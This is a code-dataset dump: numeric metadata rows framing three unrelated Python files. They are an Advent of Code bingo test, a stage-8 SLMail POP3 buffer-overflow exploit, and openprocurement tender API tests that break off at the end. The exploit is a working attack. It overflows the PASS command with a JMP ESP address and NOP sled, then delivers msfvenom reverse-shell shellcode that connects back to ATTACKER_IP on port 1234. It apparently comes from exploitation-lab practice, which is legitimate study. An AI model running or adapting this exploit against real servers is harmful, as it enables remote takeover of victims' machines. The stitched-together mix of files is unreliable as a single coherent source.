0.714286
0
0.016327
0.241739
0.134913
0
0
0
0
0.106122
1
0.073469
false
0
0.028571
0.006122
0.122449
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
112136b103df0909d112463e26076cb513c0d229
1,033
py
Python
2021/day04/test.py
MartinSeeler/Advent-of-Code
efc1972ba0a3e17177d61d163ac79ce7880fab55
[ "MIT" ]
5
2020-12-18T15:37:20.000Z
2021-12-18T20:01:21.000Z
2021/day04/test.py
MartinSeeler/Advent-of-Code-2020
efc1972ba0a3e17177d61d163ac79ce7880fab55
[ "MIT" ]
null
null
null
2021/day04/test.py
MartinSeeler/Advent-of-Code-2020
efc1972ba0a3e17177d61d163ac79ce7880fab55
[ "MIT" ]
1
2021-12-18T05:29:35.000Z
2021-12-18T05:29:35.000Z
import pytest from solution import solve_part_1, solve_part_2 @pytest.mark.parametrize("quiz_input,expected_result", [ ("""7,4,9,5,11,17,23,2,0,14,21,24,10,16,13,6,15,25,12,22,18,20,8,19,3,26,1 22 13 17 11 0 8 2 23 4 24 21 9 14 16 7 6 10 3 18 5 1 12 20 15 19 3 15 0 2 22 9 18 13 17 5 19 8 7 25 23 20 11 10 24 4 14 21 16 12 6 14 21 17 24 4 10 16 15 9 19 18 8 23 26 20 22 11 13 6 5 2 0 12 3 7""", 4512) ]) def test_part_1_solution(quiz_input, expected_result): assert solve_part_1(quiz_input) == expected_result @pytest.mark.parametrize("quiz_input,expected_result", [ ("""7,4,9,5,11,17,23,2,0,14,21,24,10,16,13,6,15,25,12,22,18,20,8,19,3,26,1 22 13 17 11 0 8 2 23 4 24 21 9 14 16 7 6 10 3 18 5 1 12 20 15 19 3 15 0 2 22 9 18 13 17 5 19 8 7 25 23 20 11 10 24 4 14 21 16 12 6 14 21 17 24 4 10 16 15 9 19 18 8 23 26 20 22 11 13 6 5 2 0 12 3 7""", 1924) ]) def test_part_2_solution(quiz_input, expected_result): assert solve_part_2(quiz_input) == expected_result
19.12963
76
0.64666
265
1,033
2.422642
0.166038
0.084112
0.158879
0.214953
0.797508
0.797508
0.797508
0.797508
0.654206
0.654206
0
0.445302
0.247822
1,033
53
77
19.490566
0.380952
0
0
0.809524
0
0.047619
0.627299
0.185866
0
0
0
0
0.047619
1
0.047619
false
0
0.047619
0
0.095238
0
0
0
0
null
0
0
1
0
1
1
1
0
1
0
1
0
0
0
0
0
1
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
113ab9a3d5f4a5f49a9d3557b3c8cfc036b6e269
2,103
py
Python
stage8-slmail-pop3.py
g1ng3r-cyb3r/slmail
3f51c0e3ca3004e918ba47e1d10053f0c2aa36ac
[ "MIT" ]
null
null
null
stage8-slmail-pop3.py
g1ng3r-cyb3r/slmail
3f51c0e3ca3004e918ba47e1d10053f0c2aa36ac
[ "MIT" ]
null
null
null
stage8-slmail-pop3.py
g1ng3r-cyb3r/slmail
3f51c0e3ca3004e918ba47e1d10053f0c2aa36ac
[ "MIT" ]
null
null
null
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #5F4A358F FFE4 JMP ESP #msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=1234 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" shellcode = ("\xb8\x22\x2c\x25\x89\xdd\xc6\xd9\x74\x24\xf4\x5f\x29\xc9\xb1" "\x52\x31\x47\x12\x83\xc7\x04\x03\x65\x22\xc7\x7c\x95\xd2\x85" "\x7f\x65\x23\xea\xf6\x80\x12\x2a\x6c\xc1\x05\x9a\xe6\x87\xa9" "\x51\xaa\x33\x39\x17\x63\x34\x8a\x92\x55\x7b\x0b\x8e\xa6\x1a" "\x8f\xcd\xfa\xfc\xae\x1d\x0f\xfd\xf7\x40\xe2\xaf\xa0\x0f\x51" "\x5f\xc4\x5a\x6a\xd4\x96\x4b\xea\x09\x6e\x6d\xdb\x9c\xe4\x34" "\xfb\x1f\x28\x4d\xb2\x07\x2d\x68\x0c\xbc\x85\x06\x8f\x14\xd4" "\xe7\x3c\x59\xd8\x15\x3c\x9e\xdf\xc5\x4b\xd6\x23\x7b\x4c\x2d" "\x59\xa7\xd9\xb5\xf9\x2c\x79\x11\xfb\xe1\x1c\xd2\xf7\x4e\x6a" "\xbc\x1b\x50\xbf\xb7\x20\xd9\x3e\x17\xa1\x99\x64\xb3\xe9\x7a" "\x04\xe2\x57\x2c\x39\xf4\x37\x91\x9f\x7f\xd5\xc6\xad\x22\xb2" "\x2b\x9c\xdc\x42\x24\x97\xaf\x70\xeb\x03\x27\x39\x64\x8a\xb0" "\x3e\x5f\x6a\x2e\xc1\x60\x8b\x67\x06\x34\xdb\x1f\xaf\x35\xb0" "\xdf\x50\xe0\x17\x8f\xfe\x5b\xd8\x7f\xbf\x0b\xb0\x95\x30\x73" "\xa0\x96\x9a\x1c\x4b\x6d\x4d\x29\x87\x6d\xa0\x45\x95\x6d\xbe" "\x47\x10\x8b\xd4\x77\x75\x04\x41\xe1\xdc\xde\xf0\xee\xca\x9b" "\x33\x64\xf9\x5c\xfd\x8d\x74\x4e\x6a\x7e\xc3\x2c\x3d\x81\xf9" "\x58\xa1\x10\x66\x98\xac\x08\x31\xcf\xf9\xff\x48\x85\x17\x59" "\xe3\xbb\xe5\x3f\xcc\x7f\x32\xfc\xd3\x7e\xb7\xb8\xf7\x90\x01" "\x40\xbc\xc4\xdd\x17\x6a\xb2\x9b\xc1\xdc\x6c\x72\xbd\xb6\xf8" "\x03\x8d\x08\x7e\x0c\xd8\xfe\x9e\xbd\xb5\x46\xa1\x72\x52\x4f" "\xda\x6e\xc2\xb0\x31\x2b\xf2\xfa\x1b\x1a\x9b\xa2\xce\x1e\xc6" "\x54\x25\x5c\xff\xd6\xcf\x1d\x04\xc6\xba\x18\x40\x40\x57\x51" "\xd9\x25\x57\xc6\xda\x6f") # 351 = shellcode bytes, \x90 = NOP buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90"*16 + shellcode + "C"*(3500-2606-4-351-16) try: print "\nSending evil buffer..." s.connect(('VICTIM_IP', 110)) data = s.recv(1024) s.send('User username' + '\r\n') data=s.recv(1024) s.send('PASS '+buffer+ '\r\n') print "\Done!." except: print "Could not connect to POP3!"
46.733333
112
0.693771
452
2,103
3.210177
0.588496
0.01654
0.012405
0.017919
0.02481
0.02481
0
0
0
0
0
0.245312
0.061816
2,103
44
113
47.795455
0.490117
0.086543
0
0.054054
0
0.621622
0.791862
0.732394
0.027027
1
0
0
0
0
null
null
0.027027
0.027027
null
null
0.081081
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
1
1
1
null
1
0
0
0
1
0
0
0
0
0
0
0
0
7
febc9de4314502baa114d9083abd598d599a2b53
32,605
py
Python
openprocurement/edge/tests/tenders.py
Leits/openprocurement.litepublic
fbcb27c059b17025cdc335ef63bded760176cc2d
[ "Apache-2.0" ]
null
null
null
openprocurement/edge/tests/tenders.py
Leits/openprocurement.litepublic
fbcb27c059b17025cdc335ef63bded760176cc2d
[ "Apache-2.0" ]
1
2021-03-25T21:46:40.000Z
2021-03-25T21:46:40.000Z
openprocurement/edge/tests/tenders.py
Leits/openprocurement.litepublic
fbcb27c059b17025cdc335ef63bded760176cc2d
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import unittest from uuid import uuid4 from copy import deepcopy from openprocurement.api.models import get_now from openprocurement.edge.tests.base import test_tender_data, TenderBaseWebTest, test_award, test_complaint, test_document, ROUTE_PREFIX class TenderResourceTest(TenderBaseWebTest): def test_empty_listing(self): response = self.app.get('/tenders') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], []) self.assertNotIn('{\n "', response.body) self.assertNotIn('callback({', response.body) self.assertEqual(response.json['next_page']['offset'], '') self.assertNotIn('prev_page', response.json) response = self.app.get('/tenders?opt_jsonp=callback') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertNotIn('{\n "', response.body) self.assertIn('callback({', response.body) response = self.app.get('/tenders?opt_pretty=1') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders?opt_jsonp=callback&opt_pretty=1') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('{\n "', response.body) self.assertIn('callback({', response.body) response = self.app.get('/tenders?offset=2015-01-01T00:00:00+02:00&descending=1&limit=10') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], []) self.assertIn('descending=1', response.json['next_page']['uri']) self.assertIn('limit=10', response.json['next_page']['uri']) self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertIn('limit=10', response.json['prev_page']['uri']) response = self.app.get('/tenders?feed=changes') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], []) self.assertEqual(response.json['next_page']['offset'], '') self.assertNotIn('prev_page', response.json) response = self.app.get('/tenders?feed=changes&offset=0', status=404) self.assertEqual(response.status, '404 Not Found') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['status'], 'error') self.assertEqual(response.json['errors'], [ {u'description': u'Offset expired/invalid', u'location': u'params', u'name': u'offset'} ]) response = self.app.get('/tenders?feed=changes&descending=1&limit=10') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], []) self.assertIn('descending=1', response.json['next_page']['uri']) self.assertIn('limit=10', response.json['next_page']['uri']) self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertIn('limit=10', response.json['prev_page']['uri']) def test_listing(self): response = self.app.get('/tenders') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 0) tenders = [] for i in range(3): offset = get_now().isoformat() tenders.append(self.create_tender()) ids = ','.join([i['id'] for i in tenders]) while True: response = self.app.get('/tenders') self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) if len(response.json['data']) == 3: break self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified'])) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in tenders])) self.assertEqual(set([i['dateModified'] for i in response.json['data']]), set([i['dateModified'] for i in tenders])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in tenders])) while True: response = self.app.get('/tenders?offset={}'.format(offset)) self.assertEqual(response.status, '200 OK') if len(response.json['data']) == 1: break self.assertEqual(len(response.json['data']), 1) response = self.app.get('/tenders?limit=2') self.assertEqual(response.status, '200 OK') self.assertNotIn('prev_page', response.json) self.assertEqual(len(response.json['data']), 2) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 1) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 0) response = self.app.get('/tenders', params=[('opt_fields', 'status')]) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified', u'status'])) self.assertIn('opt_fields=status', response.json['next_page']['uri']) response = self.app.get('/tenders', params=[('opt_fields', 'status,enquiryPeriod')]) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified', u'status', u'enquiryPeriod'])) self.assertIn('opt_fields=status%2CenquiryPeriod', response.json['next_page']['uri']) response = self.app.get('/tenders?descending=1') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified'])) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in tenders])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in tenders], reverse=True)) response = self.app.get('/tenders?descending=1&limit=2') self.assertEqual(response.status, '200 OK') self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 2) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 1) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 0) test_tender_data2 = test_tender_data.copy() test_tender_data2['mode'] = 'test' self.create_tender(test_tender_data2) while True: response = self.app.get('/tenders?mode=test') self.assertEqual(response.status, '200 OK') if len(response.json['data']) == 1: break self.assertEqual(len(response.json['data']), 1) response = self.app.get('/tenders?mode=_all_') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 4) def test_listing_changes(self): response = self.app.get('/tenders?feed=changes') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 0) tenders = [] for i in range(3): tenders.append(self.create_tender()) ids = ','.join([i['id'] for i in tenders]) while True: response = self.app.get('/tenders?feed=changes') self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) if len(response.json['data']) == 3: break self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified'])) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in tenders])) self.assertEqual(set([i['dateModified'] for i in response.json['data']]), set([i['dateModified'] for i in tenders])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in tenders])) response = self.app.get('/tenders?feed=changes&limit=2') self.assertEqual(response.status, '200 OK') self.assertNotIn('prev_page', response.json) self.assertEqual(len(response.json['data']), 2) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 1) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 0) response = self.app.get('/tenders?feed=changes', params=[('opt_fields', 'status')]) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified', u'status'])) self.assertIn('opt_fields=status', response.json['next_page']['uri']) response = self.app.get('/tenders?feed=changes', params=[('opt_fields', 'status,enquiryPeriod')]) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified', u'status', u'enquiryPeriod'])) self.assertIn('opt_fields=status%2CenquiryPeriod', response.json['next_page']['uri']) response = self.app.get('/tenders?feed=changes&descending=1') self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified'])) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in tenders])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in tenders], reverse=True)) response = self.app.get('/tenders?feed=changes&descending=1&limit=2') self.assertEqual(response.status, '200 OK') self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 2) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 1) response = self.app.get(response.json['next_page']['path'].replace(ROUTE_PREFIX, '')) self.assertEqual(response.status, '200 OK') self.assertNotIn('descending=1', response.json['prev_page']['uri']) self.assertEqual(len(response.json['data']), 0) test_tender_data2 = test_tender_data.copy() test_tender_data2['mode'] = 'test' self.create_tender(test_tender_data2) while True: response = self.app.get('/tenders?feed=changes&mode=test') self.assertEqual(response.status, '200 OK') if len(response.json['data']) == 1: break self.assertEqual(len(response.json['data']), 1) response = self.app.get('/tenders?feed=changes&mode=_all_') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 4) def test_listing_draft(self): response = self.app.get('/tenders') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 0) tenders = [] data = test_tender_data.copy() data.update({'status': 'draft'}) for i in range(3): tenders.append(self.create_tender(data)) ids = ','.join([i['id'] for i in tenders]) while True: response = self.app.get('/tenders') self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) if len(response.json['data']) == 3: break self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set([u'id', u'dateModified'])) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in tenders])) self.assertEqual(set([i['dateModified'] for i in response.json['data']]), set([i['dateModified'] for i in tenders])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in tenders])) def test_listing_full_tender(self): response = self.app.get('/tenders?opt_fields=_all_') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 0) tenders = [] data = test_tender_data.copy() for i in range(3): tenders.append(self.create_tender(data)) ids = ','.join([i['id'] for i in tenders]) while True: response = self.app.get('/tenders?opt_fields=_all_') self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) if len(response.json['data']) == 3: break self.assertEqual(len(response.json['data']), 3) self.assertEqual(set(response.json['data'][0]), set(tenders[0].keys())) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in tenders])) self.assertEqual(set([i['dateModified'] for i in response.json['data']]), set([i['dateModified'] for i in tenders])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in tenders])) def test_get_tender(self): tender = self.create_tender() response = self.app.get('/tenders/{}'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertDictEqual(response.json['data'], tender) response = self.app.get('/tenders/{}?opt_jsonp=callback'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('callback({"data": {"', response.body) response = self.app.get('/tenders/{}?opt_pretty=1'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "data": {\n "', response.body) def test_tender_not_found(self): response = self.app.get('/tenders') self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), 0) response = self.app.get('/tenders/some_id', status=404) self.assertEqual(response.status, '404 Not Found') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['status'], 'error') self.assertEqual(response.json['errors'], [ {u'description': u'Not Found', u'location': u'url', u'name': u'tender_id'} ]) response = self.app.patch_json( '/tenders/some_id', {'data': {}}, status=404) self.assertEqual(response.status, '404 Not Found') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['status'], 'error') self.assertEqual(response.json['errors'], [ {u'description': u'Not Found', u'location': u'url', u'name': u'tender_id'} ]) # put custom document object into database to check tender construction on non-Tender data data = {'contract': 'test', '_id': uuid4().hex} self.db.save(data) response = self.app.get('/tenders/{}'.format(data['_id']), status=404) self.assertEqual(response.status, '404 Not Found') class TenderAwardResourceTest(TenderBaseWebTest): def test_listing(self): tender = self.create_tender() response = self.app.get('/tenders/{}/awards'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], tender['awards']) self.assertNotIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders/{}/awards?opt_jsonp=callback'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertNotIn('{\n "', response.body) self.assertIn('callback({', response.body) response = self.app.get('/tenders/{}/awards?opt_pretty=1'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders/{}/awards?opt_jsonp=callback&opt_pretty=1'.format(tender['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('{\n "', response.body) self.assertIn('callback({', response.body) def test_listing_changes(self): tender = self.create_tender() data = self.db[tender['id']] awards = data['awards'] for i in range(3): award = deepcopy(test_award) award['date'] = get_now().isoformat() award['id'] = uuid4().hex awards.append(award) self.db.save(data) ids = ','.join([i['id'] for i in awards]) response = self.app.get('/tenders/{}/awards'.format(tender['id'])) self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), len(awards)) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in awards])) self.assertEqual(set([i['date'] for i in response.json['data']]), set([i['date'] for i in awards])) self.assertEqual([i['date'] for i in response.json['data']], sorted([i['date'] for i in awards])) def test_get_award(self): tender = self.create_tender() award = tender['awards'][0] response = self.app.get('/tenders/{}/awards/{}'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertDictEqual(response.json['data'], award) response = self.app.get('/tenders/{}/awards/{}?opt_jsonp=callback'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('callback({"data": {"', response.body) response = self.app.get('/tenders/{}/awards/{}?opt_pretty=1'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "data": {\n "', response.body) def test_award_not_found(self): tender = self.create_tender() response = self.app.get('/tenders/{}/awards/some_id'.format(tender['id']), status=404) self.assertEqual(response.status, '404 Not Found') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['status'], 'error') self.assertEqual(response.json['errors'], [ {u'description': u'Not Found', u'location': u'url', u'name': u'award_id'} ]) def test_get_document_with_versions(self): tender = self.create_tender() data = self.db[tender['id']] documents = data['documents'] for i in range(3): document = deepcopy(test_document) document['id'] = data['documents'][0]['id'] document['url'] += str(i) document['dateModified'] = get_now().isoformat() documents.append(document) self.db.save(data) versions = [{'dateModified': i['dateModified'], 'url': i['url']} for i in documents[:-1]] response = self.app.get('/tenders/{}/documents/{}'.format(tender['id'], document['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(len(response.json['data']['previousVersions']), len(versions)) self.assertEqual(response.json['data']['previousVersions'], versions) class TenderAwardComplaintResourceTest(TenderBaseWebTest): def test_listing(self): tender = self.create_tender() award = tender['awards'][0] response = self.app.get('/tenders/{}/awards/{}/complaints'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], award['complaints']) self.assertNotIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints?opt_jsonp=callback'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertNotIn('{\n "', response.body) self.assertIn('callback({', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints?opt_pretty=1'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints?opt_jsonp=callback&opt_pretty=1'.format(tender['id'], award['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('{\n "', response.body) self.assertIn('callback({', response.body) def test_listing_changes(self): tender = self.create_tender() data = self.db[tender['id']] award = data['awards'][0] award_complaints = award['complaints'] for i in range(3): complaint = deepcopy(test_complaint) complaint['date'] = get_now().isoformat() complaint['id'] = uuid4().hex award_complaints.append(complaint) self.db.save(data) ids = ','.join([i['id'] for i in award_complaints]) response = self.app.get('/tenders/{}/awards/{}/complaints'.format(tender['id'], award['id'])) self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), len(award_complaints)) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in award_complaints])) self.assertEqual(set([i['date'] for i in response.json['data']]), set([i['date'] for i in award_complaints])) self.assertEqual([i['date'] for i in response.json['data']], sorted([i['date'] for i in award_complaints])) def test_get_award_complaint(self): tender = self.create_tender() award = tender['awards'][0] award_complaint = award['complaints'][0] response = self.app.get('/tenders/{}/awards/{}/complaints/{}'.format(tender['id'], award['id'], award_complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertDictEqual(response.json['data'], award_complaint) response = self.app.get('/tenders/{}/awards/{}/complaints/{}?opt_jsonp=callback'.format(tender['id'], award['id'], award_complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('callback({"data": {"', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints/{}?opt_pretty=1'.format(tender['id'], award['id'], award_complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "data": {\n "', response.body) def test_award_complaint_not_found(self): tender = self.create_tender() response = self.app.get('/tenders/{}/awards/{}/complaints/some_id'.format(tender['id'], tender['awards'][0]['id']), status=404) self.assertEqual(response.status, '404 Not Found') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['status'], 'error') self.assertEqual(response.json['errors'], [ {u'description': u'Not Found', u'location': u'url', u'name': u'complaint_id'} ]) class TenderAwardComplaintDocumentResourceTest(TenderBaseWebTest): def test_listing(self): tender = self.create_tender() award = tender['awards'][0] complaint = award['complaints'][0] response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents'.format(tender['id'], award['id'], complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['data'], complaint['documents']) self.assertNotIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents?opt_jsonp=callback'.format(tender['id'], award['id'], complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertNotIn('{\n "', response.body) self.assertIn('callback({', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents?opt_pretty=1'.format(tender['id'], award['id'], complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "', response.body) self.assertNotIn('callback({', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents?opt_jsonp=callback&opt_pretty=1'.format(tender['id'], award['id'], complaint['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('{\n "', response.body) self.assertIn('callback({', response.body) def test_listing_changes(self): tender = self.create_tender() data = self.db[tender['id']] award = data['awards'][0] award_complaint = award['complaints'][0] award_complaint_documents = award_complaint['documents'] for i in range(3): document = deepcopy(test_document) document['dateModified'] = get_now().isoformat() document['id'] = uuid4().hex award_complaint_documents.append(document) self.db.save(data) ids = ','.join([i['id'] for i in award_complaint_documents]) response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents'.format(tender['id'], award['id'], award_complaint['id'])) self.assertTrue(ids.startswith(','.join([i['id'] for i in response.json['data']]))) self.assertEqual(response.status, '200 OK') self.assertEqual(len(response.json['data']), len(award_complaint_documents)) self.assertEqual(set([i['id'] for i in response.json['data']]), set([i['id'] for i in award_complaint_documents])) self.assertEqual(set([i['dateModified'] for i in response.json['data']]), set([i['dateModified'] for i in award_complaint_documents])) self.assertEqual([i['dateModified'] for i in response.json['data']], sorted([i['dateModified'] for i in award_complaint_documents])) def test_get_award_complaint_document(self): tender = self.create_tender() award = tender['awards'][0] award_complaint = award['complaints'][0] award_complaint_document = award_complaint['documents'][0] response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents/{}'.format(tender['id'], award['id'], award_complaint['id'], award_complaint_document['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertDictEqual(response.json['data'], award_complaint_document) response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents/{}?opt_jsonp=callback'.format(tender['id'], award['id'], award_complaint['id'], award_complaint_document['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/javascript') self.assertIn('callback({"data": {"', response.body) response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents/{}?opt_pretty=1'.format(tender['id'], award['id'], award_complaint['id'], award_complaint_document['id'])) self.assertEqual(response.status, '200 OK') self.assertEqual(response.content_type, 'application/json') self.assertIn('{\n "data": {\n "', response.body) def test_award_complaint_document_not_found(self): tender = self.create_tender() response = self.app.get('/tenders/{}/awards/{}/complaints/{}/documents/some_id'.format(tender['id'], tender['awards'][0]['id'], tender['awards'][0]['complaints'][0]['id']), status=404) self.assertEqual(response.status, '404 Not Found') self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json['status'], 'error') self.assertEqual(response.json['errors'], [ {u'description': u'Not Found', u'location': u'url', u'name': u'document_id'} ]) def suite(): suite = unittest.TestSuite() 